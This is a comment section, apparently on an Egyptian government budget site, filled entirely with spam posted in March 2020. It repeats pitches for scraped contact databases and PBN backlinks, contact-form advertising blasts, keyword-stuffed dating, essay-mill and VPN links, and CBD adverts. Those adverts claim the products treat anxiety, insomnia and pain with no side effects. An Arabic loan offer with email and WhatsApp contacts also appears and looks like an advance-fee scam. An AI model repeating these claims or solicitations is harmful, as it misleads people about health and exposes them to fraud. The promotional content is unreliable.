Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic S.E.O, More Online Sales and Site Visitor Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Nadia Hoeft

Saturday, March 28, 2020

Hi guys I do SEO for a CBD brand and you are one of our competitors. Whoever is doing your SEO, they are not doing a good job at all. Not sure what you are paying them but it is apparent that someone is just creating very risky blog comments on penalised sites which is only dragging you down on the SERPs. I am not going to offer you my services due to conflict of interest but do find someone online. Google something along the lines of "CBD SEO Backlinks Package for CBD Shops". Anyway, best of luck with your SEO work. I thought I would give you a heads up so that you are not left in the dark. Sorry, I wish to remain anonymous. Do not try to contact me back because this is a fictitious email. Kind regards Ethical SEO Guy :)

Carlos Seaton

Saturday, March 28, 2020

Explode your wholesale sales with a click of a button. Google: Health Food Shops Email List

Paulette Dockery

Saturday, March 28, 2020

Hi By way of an introduction, my name is Sergey and I am the founder of Creative Bear Tech, a website data scraping and computer software company located in London, UK. We mostly work with B2B companies by helping them to get in touch with their customers through our data scraping services. I have found budget.gov.eg whilst doing some research and presumed that you could definitely take advantage of our professional services as we work with very similar companies. We presently have over 1,000 customers and I am in the process of growing our offering by opening up offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our products and services that you may find useful in expanding your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of companies operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will allow you to scrape niche-relevant business contact details from the search engines, social networking media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimization, More Online Sales and Site Visitor Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Tressa

Friday, March 27, 2020

free dating services in michigan https://pig.datingexchanging.space/ free dating services in michigan dating websites uk

Duane

Friday, March 27, 2020

oasis dating site melbourne http://ktj.datingsprinting.space/ oasis dating site melbourne oasis dating site melbourne

Janessa

Friday, March 27, 2020

dubai gay dating https://pld.validateddating.site/ dubai gay dating free online dating sites in charlotte nc

Dong

Friday, March 27, 2020

eharmony membership fees australia https://usa.datingend.website/ eharmony membership fees australia new orleans speed dating

Shoshana Giorza

Friday, March 27, 2020

Good morning, I was just visiting your site and filled out your feedback form. The contact page on your site sends you these messages via email which is the reason you're reading through my message right now right? This is half the battle with any kind of advertising, making people actually READ your advertisement and that's exactly what I just accomplished with you! If you have an advertisement you would like to promote to lots of websites via their contact forms in the U.S. or to any country worldwide send me a quick note now, I can even focus on your required niches and my costs are super low. Send a reply to: trinitybeumer@gmail.com

Sol

Wednesday, March 25, 2020

dissertation service http://t5kz.feuerwehrgrosslafferde.de/ dissertation service dissertation service

Kelle Forshee

Wednesday, March 25, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

Santo

Wednesday, March 25, 2020

is it safe to buy essay online http://gzea.fvschienenbus-menden.de/ is it safe to buy essay online is it safe to buy essay online

Evonne

Wednesday, March 25, 2020

essay writing service reddit http://nywg.bohemelechic.com/ essay writing service reddit coursework help service

Chau Ogren

Wednesday, March 25, 2020

We would like to invite budget.gov.eg to become our wholesaler! A Little About Raw CBD Gummies Raw Gummies is your best source for the highest quality CBD gummy bears and candies. Based in Miami, Florida, we made sure to give honor to our tropical home by specializing in tropical flavors. We are dedicated to providing you with the highest quality, most affordable CBD gummies on the market. Our CBD products are legal in all 50 states and can be used at any time of the day! Our products are made using the richest Full Spectrum CBD Oil available. Unlike many other CBD companies who claim to have “broad spectrum” and use CBD Isolates, our products contain a complete phytocannabinoid spectrum packed with beneficial terpenes and flavonoids. Many of our competitors purchase their CBD from China and other sources with loose regulatory requirements. Our CBD is dual sourced from family-owned hemp farms in Colorado and Kentucky to maintain reliable and steady supply. We believe in results. Compare our gummies to other CBD products and you’ll instantly see why we’re different. We are Featured in the Leading CBD and Lifestyle Publications. You can read more about us and reviews of our CBD gummies here: Allure.com Tatler.com vapetelligent.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Cosmopolitan.com hempressa.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Vice.com thesun.co.uk cbdlifemag.com

Rae Kaczmarek

Wednesday, March 25, 2020

Good morning My name is Sergey and I am a founder of Sweaty Quid Freelancer Market place just where you are able to buy and offer all kinds of on-line solutions varying from backlinks and guest post to explainer videos, infographics and articles for your site. I strongly believe that you and budget.gov.eg could truly benefit from Sweaty Quid, whether you would like to offer your services or employ the services of freelancers to assist you to grow your business. I have been a freelancer on various market places for over 5 years and have had my accounts randomly closed down, my revenues pocketed and I simply had a hard time with many poor quality freelancers. After much frustration, I decided to start up my very own freelance market place that would do things differently and much better. After almost one year of caffeinne powered nights, myself and my team at Creative Bear Tech have built up Sweaty Quid from ground up. One month into our release we have managed to draw in a pretty good variety of outstanding quality freelancers and an exceptionally high number of repeat customers. I strongly believe this serves as a confirmation to our success. Sweaty Quid is a spam-free and straightforward marketplace for top quality freelancers and buyers. We are rigorously banning all spammy sellers who do not pass our quality threshold and leave only the very best ones. Keeping up with the most recent technologcal transformations, we also take cryptocurrency as one of our payment methods. Our ethos that defines us is that sometimes less is more, especially when it comes to quality freelancers. We are still very new in comparison to other freelance market places, but we are already punching above our weight. I would like to welcome you personally to sign up with Sweaty Quid Freelancer Marketplace! Kind regards Sergey Greenfields Co-Founder of Sweaty Quid Freelancer Marketplace Flat 9, 1 Jardine Rd, St Katharine's & Wapping, London E1W 3WD, United Kingdom https://www.sweatyquid.com

Jackie Parish

Wednesday, March 25, 2020

Hi By way of an introduction, my name is Sergey and I am the ceo of Creative Bear Tech, a website data scraping and computer software company located in London, UK. We mostly deal with B2B businesses by helping them to get in touch with their clients through our data scraping services. I have found budget.gov.eg whilst doing some research and presumed that you could really take advantage of our professional services as we work with very identical companies. We currently have over 1,000 customers and I am in the process of expanding our offering by opening up offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our services and products that you may find beneficial in expanding your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the USA of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation software like no other! It will enable you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimization, More Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Owner of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Joey Oquinn

Tuesday, March 24, 2020

List budget.gov.eg with a CBD Shop Directory to increase your online exposure and sales. Simply Google "CBD Shop Directory".

Etta Pinkston

Tuesday, March 24, 2020

We believe that everyone should be able to access quality, proven, and vetted CBD products from CBD oil tinctures, CBD capsules, CBD gummies, CBD edibles, CBD flower & CBG flower. Element Earth CBD is there for beginners and veterans of CBD products, whether it be a 500mg broad-spectrum tincture, to a 3000mg full spectrum tincture. We strongly believe in education about Cannabidiol (CBD) and its many positive effects that can help with everyday anxiety to severe anxiety, from moderate pain to life-changing pain, and using this truly remarkable plant perhaps just as a daily supplement. The brands we sell only are made in the USA only; all hemp is grown specifically on prominent USA farms from Vermont to Colorado. As CBD grows in popularity, and for very good reason, we study all the new technology and new formulas; we thoroughly read all lab reports to endure the users are purchasing what was advertised. While making any claims, at the moment, which is unsubstantiated can cause trouble with the FDA, but, we are finding more and more that the veil is being lifted on a lot of these claims. Which is great news as hemp as been unfortunately under the Controlled Substances category for almost 100 years, finally the 2018 Farm Bill has lifted this categorization. While there are plenty of gray areas in terms of legality with certain products, mostly hemp-infused products and the actual hemp flower, day by day we see progress being made. CBD and related cannabinoids will not impair you nor intoxicate; the ingredients alone are all nutritious in origin. Element Earth’s core values are complete transparency, most reliable brands and products, and the best client service needed. We do not believe in price gouging or constant contact through emails if we contact you it will be only for your benefit and none other. Our lineup of CBD products have all of the pertinent information needed such as ingredients, lab certificates, and every analysis possible. In the past year, a certain amount of CBD manufacturers have been caught cutting corners in quality and ingredients just to get ahead of the rest. While we understand every company needs an “edge”, we take these violations very seriously as they do more harm than good, and are only put in place to get you, the consumer, to purchase their wares. Such companies you will never find in our portfolio, ever. The research has been done for you, primarily because we understand the industry, we understand the importance of the impact Cannabidiol has and will continue to positively have on our way of life. Our motto is “The Element of Wellness” because we believe it’s just that, an element from the earth, that has been so intertwined with our lives going back to the beginning of mankind’s first staple crops, and little know that hemp has always been one of them. We hope you will see our value-added benefits, and understand your health is the priority. https://vapetelligent.com/listing/new-york/monroe-4487/CBD-Shops/element-earth-cbd

Jim Kolios

Tuesday, March 24, 2020

Sick of paying big bucks for ads that suck? Now you can post your ad on thousands of advertising sites and it'll only cost you one flat fee per month. These ads stay up forever, this is a continual supply of organic visitors! Check out our site now: http://www.adpostingrobot.xyz

Latisha Vann

Tuesday, March 24, 2020

List budget.gov.eg with a CBD Shop Directory to increase your online exposure and sales. Simply Google "CBD Shop Directory".

Carl

Tuesday, March 24, 2020

onlinevpnapp.com http://getvpnfree.com onlinevpnapp.com vpn app

Fred

Tuesday, March 24, 2020

online free vpn http://ovuu.jagdhund-ad.de/kitchenaid+superba+gas+range+repair+manual.html online free vpn vpn app

Grace

Tuesday, March 24, 2020

onlinevpnapp.com http://vpnservicesite.com onlinevpnapp.com vpn for laptop

Abby

Monday, March 23, 2020

free online vpn http://vpnservicesite.com free online vpn free vpn online

Eulah

Monday, March 23, 2020

vpn unlimited http://freevpngold.com vpn unlimited private vpn

Madeline

Monday, March 23, 2020

online free vpn http://vpnservicesoft.com online free vpn best vpn

Kristie Bauer

Monday, March 23, 2020

Hi By way of an introduction, my name is Sergey and I am the owner of Creative Bear Tech, a website data scraping and software company situated in London, UK. We primarily deal with B2B businesses by helping them to get in touch with their customers through our data scraping solutions. I have found budget.gov.eg whilst doing some research and thought that you could definitely take advantage of our professional services as we deal with very similar companies. We presently have more than 1,000 customers and I am in the process of expanding our offering by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our products and services that you may find beneficial in developing your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will make it possible for you to scrape niche-relevant business contact details from the search engines, social networking media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimization, More Online Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, UK. https://creativebeartech.com.

Ron Mueller

Monday, March 23, 2020

Hello My name is Sergey and I am a founder of Sweaty Quid Freelancer Marketplace just where you can easily purchase and offer all types of on-line solutions ranging from back links and guest post to explainer video tutorials, infographics and articles for your business website. I believe that you and budget.gov.eg could really benefit from Sweaty Quid, whether you want to supply your services or employ the services of freelancers to help you to grow your company. I have been a freelancer on a number of marketplaces for in excess of 5 years and have had my accounts arbitrarily closed down, my incomes pocketed and I just simply had a difficult time with lots of poor quality freelancers. After much aggravation, I decided to start up my very own freelance market place that would do things differently and much better. After almost one year of caffeinne powered nights, myself and my team at Creative Bear Tech have built up Sweaty Quid from ground up. One month into our release we have managed to attract a pretty good number of good quality freelancers and a remarkably high number of repeat buyers. I feel this functions as a confirmation to our success. Sweaty Quid is a spam-free and straightforward marketplace for high quality freelancers and buyers. We are rigorously banning all spammy sellers who do not pass our quality threshold and leave only the absolute best ones. Keeping abreast of the latest technologcal transformations, we also take cryptocurrency as one of our payment methods. Our ethos that defines us is that sometimes less is more, especially when it comes to high quality freelancers. We are still very new in contrast to other freelance marketplaces, but we are already punching above our weight. I would like to welcome you personally to register with Sweaty Quid Freelancer Market Place! Kind regards Sergey Greenfields Co-Founder of Sweaty Quid Freelancer Marketplace Flat 9, 1 Jardine Rd, St Katharine's & Wapping, London E1W 3WD, United Kingdom https://www.sweatyquid.com

Claribel Connibere

Monday, March 23, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: USA Vape Shop Database with Vape Shop Contact Details

Jefferson Baile

Monday, March 23, 2020

We believe that everyone should be able to access quality, proven, and vetted CBD products from CBD oil tinctures, CBD capsules, CBD gummies, CBD edibles, CBD flower & CBG flower. Element Earth CBD is there for beginners and veterans of CBD products, whether it be a 500mg broad-spectrum tincture, to a 3000mg full spectrum tincture. We strongly believe in education about Cannabidiol (CBD) and its many positive effects that can help with everyday anxiety to severe anxiety, from moderate pain to life-changing pain, and using this truly remarkable plant perhaps just as a daily supplement. The brands we sell only are made in the USA only; all hemp is grown specifically on prominent USA farms from Vermont to Colorado. As CBD grows in popularity, and for very good reason, we study all the new technology and new formulas; we thoroughly read all lab reports to endure the users are purchasing what was advertised. While making any claims, at the moment, which is unsubstantiated can cause trouble with the FDA, but, we are finding more and more that the veil is being lifted on a lot of these claims. Which is great news as hemp as been unfortunately under the Controlled Substances category for almost 100 years, finally the 2018 Farm Bill has lifted this categorization. While there are plenty of gray areas in terms of legality with certain products, mostly hemp-infused products and the actual hemp flower, day by day we see progress being made. CBD and related cannabinoids will not impair you nor intoxicate; the ingredients alone are all nutritious in origin. Element Earth’s core values are complete transparency, most reliable brands and products, and the best client service needed. We do not believe in price gouging or constant contact through emails if we contact you it will be only for your benefit and none other. Our lineup of CBD products have all of the pertinent information needed such as ingredients, lab certificates, and every analysis possible. In the past year, a certain amount of CBD manufacturers have been caught cutting corners in quality and ingredients just to get ahead of the rest. While we understand every company needs an “edge”, we take these violations very seriously as they do more harm than good, and are only put in place to get you, the consumer, to purchase their wares. Such companies you will never find in our portfolio, ever. The research has been done for you, primarily because we understand the industry, we understand the importance of the impact Cannabidiol has and will continue to positively have on our way of life. Our motto is “The Element of Wellness” because we believe it’s just that, an element from the earth, that has been so intertwined with our lives going back to the beginning of mankind’s first staple crops, and little know that hemp has always been one of them. We hope you will see our value-added benefits, and understand your health is the priority. https://vapetelligent.com/listing/new-york/monroe-4487/CBD-Shops/element-earth-cbd

Ruben Prouty

Monday, March 23, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

Tamara

Sunday, March 22, 2020

onlinevpnapp.com http://vpnservicesoft.com onlinevpnapp.com vpn for windows [vpnservicesoft.com]

Jerrod Osteen

Sunday, March 22, 2020

Hi By way of an introduction, my name is Sergey and I am the founder of Creative Bear Tech, a web site data scraping and computer software business located in London, UK. We mainly deal with B2B companies by helping them to connect with their clients through our data scraping solutions. I have found budget.gov.eg whilst doing some research and presumed that you could really benefit from our professional services as we work with very identical businesses. We currently have more than 1,000 clients and I am in the process of expanding our offering by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our services and products that you may find helpful in developing your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will allow you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic S.E.O, More Online Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Owner of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Inez Countryman

Sunday, March 22, 2020

Explode your wholesale sales with a click of a button. Google: Beauty Products & Cosmetics Shops Email List and B2B Marketing List

Dalton Minnick

Saturday, March 21, 2020

Looking for fresh buyers? Receive thousands of people who are ready to buy sent directly to your website. Boost your profits super fast. Start seeing results in as little as 48 hours. To get info Check out: http://www.trafficmasters.xyz

Chante McKibben

Saturday, March 21, 2020

Hi By way of an introduction, my name is Sergey and I am the founder of Creative Bear Tech, a web site data scraping and software business based in London, UK. We primarily work with B2B businesses by helping them to get in touch with their clients through our data scraping solutions. I have found budget.gov.eg whilst doing some research and thought that you could definitely benefit from our professional services as we work with very similar businesses. We presently have more than 1,000 clients and I am in the process of growing our services by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Listed below are some of our products and services that you may find helpful in developing your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of companies operating in the USA of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation software like no other! It will enable you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic SEO, More Online Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Hannelore Ricci

Friday, March 20, 2020

We believe that everyone should be able to access quality, proven, and vetted CBD products from CBD oil tinctures, CBD capsules, CBD gummies, CBD edibles, CBD flower & CBG flower. Element Earth CBD is there for beginners and veterans of CBD products, whether it be a 500mg broad-spectrum tincture, to a 3000mg full spectrum tincture. We strongly believe in education about Cannabidiol (CBD) and its many positive effects that can help with everyday anxiety to severe anxiety, from moderate pain to life-changing pain, and using this truly remarkable plant perhaps just as a daily supplement. The brands we sell only are made in the USA only; all hemp is grown specifically on prominent USA farms from Vermont to Colorado. As CBD grows in popularity, and for very good reason, we study all the new technology and new formulas; we thoroughly read all lab reports to endure the users are purchasing what was advertised. While making any claims, at the moment, which is unsubstantiated can cause trouble with the FDA, but, we are finding more and more that the veil is being lifted on a lot of these claims. Which is great news as hemp as been unfortunately under the Controlled Substances category for almost 100 years, finally the 2018 Farm Bill has lifted this categorization. While there are plenty of gray areas in terms of legality with certain products, mostly hemp-infused products and the actual hemp flower, day by day we see progress being made. CBD and related cannabinoids will not impair you nor intoxicate; the ingredients alone are all nutritious in origin. Element Earth’s core values are complete transparency, most reliable brands and products, and the best client service needed. We do not believe in price gouging or constant contact through emails if we contact you it will be only for your benefit and none other. Our lineup of CBD products have all of the pertinent information needed such as ingredients, lab certificates, and every analysis possible. In the past year, a certain amount of CBD manufacturers have been caught cutting corners in quality and ingredients just to get ahead of the rest. While we understand every company needs an “edge”, we take these violations very seriously as they do more harm than good, and are only put in place to get you, the consumer, to purchase their wares. Such companies you will never find in our portfolio, ever. The research has been done for you, primarily because we understand the industry, we understand the importance of the impact Cannabidiol has and will continue to positively have on our way of life. Our motto is “The Element of Wellness” because we believe it’s just that, an element from the earth, that has been so intertwined with our lives going back to the beginning of mankind’s first staple crops, and little know that hemp has always been one of them. We hope you will see our value-added benefits, and understand your health is the priority. https://vapetelligent.com/listing/new-york/monroe-4487/CBD-Shops/element-earth-cbd

Velva Wheller

Friday, March 20, 2020

Explode your wholesale sales with a click of a button. Google: Vitamins and Supplements Manufacturer, Wholesaler and Retailer B2B Marketing Data

Matthew Rosman

Friday, March 20, 2020

List budget.gov.eg with a VAPE STORE DIRECTORY to increase your online exposure and sales. Simply Google "VAPE STORE DIRECTORY".

Felisha Horrocks

Friday, March 20, 2020

Want more visitors for your website? Receive thousands of people who are ready to buy sent directly to your website. Boost your profits quick. Start seeing results in as little as 48 hours. To get info Have a look at: http://bit.ly/trafficmasters2020

Betty

Friday, March 20, 2020

onlinevpnapp.com http://getvpnfree.com onlinevpnapp.com proton vpn free

Evie Eaton

Friday, March 20, 2020

A Gift From Nature is a leader in the CBD industry. Located in Orlando, FL. A Gift From Nature has been formulating some of the highest quality CBD products in the market for the last three years. A Gift Form Nature is registered with the FDA and complies with good manufacturing practices. We currently produce 8 different brands with over 300 SKUs. We also provide raw material, White Label Services and Co packing. A Gift From Nature goes to great depths to source the highest quality natural ingredients for formulation. A Gift From Nature is really a seed-to-shelve company. All hemp extracts are sourced from extractors using American grown hemp. Every batch of extracts are vigorously third party tested for potency, terpenes, pesticides, bacteria, as well as residual solvents. A Gift From Nature believes in offering only the highest quality and cleanest products to our customers, so we solely rely on CO2 extraction, for its non-toxic characteristics. https://lovetocbd.com/profile/billagfn

Lavern Stubblefield

Thursday, March 19, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: Germany Vape Shop Database

Lasonya Muniz

Thursday, March 19, 2020

Hi By way of an introduction, my name is Sergey and I am the owner of Creative Bear Tech, a web site data scraping and computer software company located in London, UK. We mostly work with B2B companies by helping them to get in touch with their customers through our data scraping services. I have found budget.gov.eg whilst doing some research and thought that you could definitely take advantage of our professional services as we work with very similar companies. We currently have over 1,000 clients and I am in the process of growing our offering by opening up offices in the USA and the Baltic States. I will keep the rest short and sweet. Listed below are some of our services and products that you may find helpful in growing your business. --. 1. Massive USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of companies operating in the USA of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation software like no other! It will enable you to scrape niche-relevant business contact details from the search engines, social networking media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic INTERNET MARKETING, More Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Philip

Thursday, March 19, 2020

onlinevpnapp.com http://getvpnfree.com onlinevpnapp.com vpn free

Rosetta Leija

Thursday, March 19, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: France Vape Shop Database

Nell Richards

Thursday, March 19, 2020

Explode your wholesale sales with a click of a button. Google: Beauty Products & Cosmetics Shops Email List and B2B Marketing List

LENDER.CITIES.CO

Thursday, March 19, 2020

مرحبا سيداتي و سادتي. الخروج من الديون غير المسددة. يمكنني مساعدتك بقرض شخصي بشروط مواتية.؟ أقدم قروضاً من 5000 دولار إلى 100 ألف دولار. ؟؟ إذا كنت مهتمًا بجدية ، فيرجى مراسلتي للحصول على مزيد من المعلومات lendercities.mlc01@outlook.com هاتف / WhatsApp: +919582259838 --- +15123729576)

LENDER.CITIES.CO

Thursday, March 19, 2020

